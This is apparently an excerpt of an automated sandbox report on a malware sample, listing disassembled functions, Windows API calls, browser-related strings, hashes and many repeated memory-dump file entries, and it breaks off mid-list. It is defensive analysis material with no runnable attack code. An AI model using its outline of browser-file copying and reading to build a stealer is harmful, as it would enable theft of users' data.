Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 0fabd9a132a9fca96e080439c542363a6d23384472bceb615bb9605afb55c409
Instruction ID: 86fd21f56cf6f5621acd70a0dec3eb463ea7caa53d22d48378d0bd5f148894ba
Opcode Fuzzy Hash: 0fabd9a132a9fca96e080439c542363a6d23384472bceb615bb9605afb55c409
Instruction Fuzzy Hash: D60131B9A40208BBDB14DFE0DC49FAEB7B8FF48701F008159FB0597280D6719A059F51

Function 002F0740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0165D5E0), ref: 002F079A
StrCmpCA.SHLWAPI(00000000,0165D440), ref: 002F0866
StrCmpCA.SHLWAPI(00000000,0165D570), ref: 002F099D

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Strings

`_/, xrefs: 002F0A40, 002F0A54, 002F0803, 002F091B, 002F0806, 002F091E, 002F0A43

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_/
API String ID: 3722407311-560230128
Opcode ID: fd7a7a54c6d915ec6162f9442effc707528561deb640871449abb56c85d6b0a9
Instruction ID: 50034ef24c032205db8ffb48e5d676669714cf44be3666cdc17f9499760fe059
Opcode Fuzzy Hash: fd7a7a54c6d915ec6162f9442effc707528561deb640871449abb56c85d6b0a9
Instruction Fuzzy Hash: 52918A75A102489FCB28EF64DD91EFDF775BF94340F408528E90A8B251DB30AA15CF92

Function 002F0765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0165D5E0), ref: 002F079A
StrCmpCA.SHLWAPI(00000000,0165D440), ref: 002F0866
StrCmpCA.SHLWAPI(00000000,0165D570), ref: 002F099D

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Strings

`_/, xrefs: 002F0803, 002F091B, 002F0806, 002F091E

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_/
API String ID: 3722407311-560230128
Opcode ID: d6248b9747d76b00f58318b3bdc250b000aa5d43b57c4be77a6eaf43297fa811
Instruction ID: a1ef835c06d37b56559cb7411936410ad8fdee60b2f84637bd3a46ed0315a8a8
Opcode Fuzzy Hash: d6248b9747d76b00f58318b3bdc250b000aa5d43b57c4be77a6eaf43297fa811
Instruction Fuzzy Hash: 44818775B102099FCB18EF64C991EEDF7B5FF94340F508128E90A9B255DB30AA16CF82

Function 002EA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0165D760,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,002F0153), ref: 002EA0BD
LoadLibraryA.KERNEL32(01660C58,?,?,?,?,?,?,?,?,?,?,?,002F0153), ref: 002EA146

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA820: lstrlenA.KERNEL32(00000000,?,?,002F5B54,00300ADB,00300ADA,?,?,002F6B16,00000000,?,016503A0,?,0030110C,?,00000000), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(0,00000000), ref: 002FA885

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

SetEnvironmentVariableA.KERNEL32(0165D760,00000000,00000000,?,003012D8,?,002F0153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00300AFE), ref: 002EA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 002EA0B2, 002EA0C6, 002EA0DC

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: b4f929ac0c05806fc28ccb9cfc40733634d7fff448c1f0511790c2f373d7cbb6
Instruction ID: ed14af30925f1e297ce9cd9468aa79747b746739ef768667b3d38339b28d361b
Opcode Fuzzy Hash: b4f929ac0c05806fc28ccb9cfc40733634d7fff448c1f0511790c2f373d7cbb6
Instruction Fuzzy Hash: B941C3B1C211059FCB24DFA4EC86AAE73B4BF2A300F540528F505A32A1DB34695EDF53

Function 002E6BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn.,@Jn.), ref: 002E6C9F

Strings

Jn., xrefs: 002E6C1D, 002E6C39, 002E6C88, 002E6C98, 002E6C04, 002E6C28, 002E6C33
Jn., xrefs: 002E6BED, 002E6C0D, 002E6C8F
@Jn., xrefs: 002E6C80, 002E6C83

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn.$Jn.$Jn.
API String ID: 544645111-1592893259
Opcode ID: 318bebc57d5a70ee0315573fd775bb13f8e2c9010df0c5b1c783974b82e6b6f3
Instruction ID: b1ae0977b1bb5ad5bc02b67b8f8a9c3f03a51441f3aa870ed8c75ac71fcc78b3
Opcode Fuzzy Hash: 318bebc57d5a70ee0315573fd775bb13f8e2c9010df0c5b1c783974b82e6b6f3
Instruction Fuzzy Hash: E7215E70E20209EFCB04CF86C498BADBBB1FF58344F60859AD445AB341D374AA91CF80

Function 002EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(?,01654A98,003005AE,?,?,?,?,?,?,?,?,?,002E4963,?,00000014), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002EA2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 002EA3FF
lstrlenA.KERNEL32(00000000), ref: 002EA6BC

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E9E10: memcmp.MSVCRT(?,v20,00000003), ref: 002E9E2D

DeleteFileA.KERNEL32(00000000), ref: 002EA743

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 506fb6b80d15a87992b1bc236242f33a1216556d79db1d2d5ce531da595d1a9d
Instruction ID: cd42ac05c00dbbfff6009b6d7ac258a76b3793789e32d51bf6f75aff2fa58c30
Opcode Fuzzy Hash: 506fb6b80d15a87992b1bc236242f33a1216556d79db1d2d5ce531da595d1a9d
Instruction Fuzzy Hash: 60E1B2B282010C9ADB15EBA4DD52DFEB338AF14780F508175F61B66091DE706A5DCF62

Function 002ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(?,01654A98,003005AE,?,?,?,?,?,?,?,?,?,002E4963,?,00000014), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002ED801
lstrlenA.KERNEL32(00000000), ref: 002ED99F
lstrlenA.KERNEL32(00000000), ref: 002ED9B3
DeleteFileA.KERNEL32(00000000), ref: 002EDA32

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 42956d580cdcc21e50f907334ba692270cffea383bc145df93c527521ba64c9c
Instruction ID: 13b322fa1c490fae095cf3b3d76940551c621c6766cbab31d339b35096d0d037
Opcode Fuzzy Hash: 42956d580cdcc21e50f907334ba692270cffea383bc145df93c527521ba64c9c
Instruction Fuzzy Hash: C181EFB19201089BCB14FBA4DD56DFEB338AF14780F504538F60BA6091EF746A29DF62

Function 002EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002F02E7,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002F02E7), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00301580,00300D92), ref: 002EF54C
lstrlenA.KERNEL32(00000000), ref: 002EF56B

Strings

moz-extension+++, xrefs: 002EF5AD
^userContextId=4294967295, xrefs: 002EF59C

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
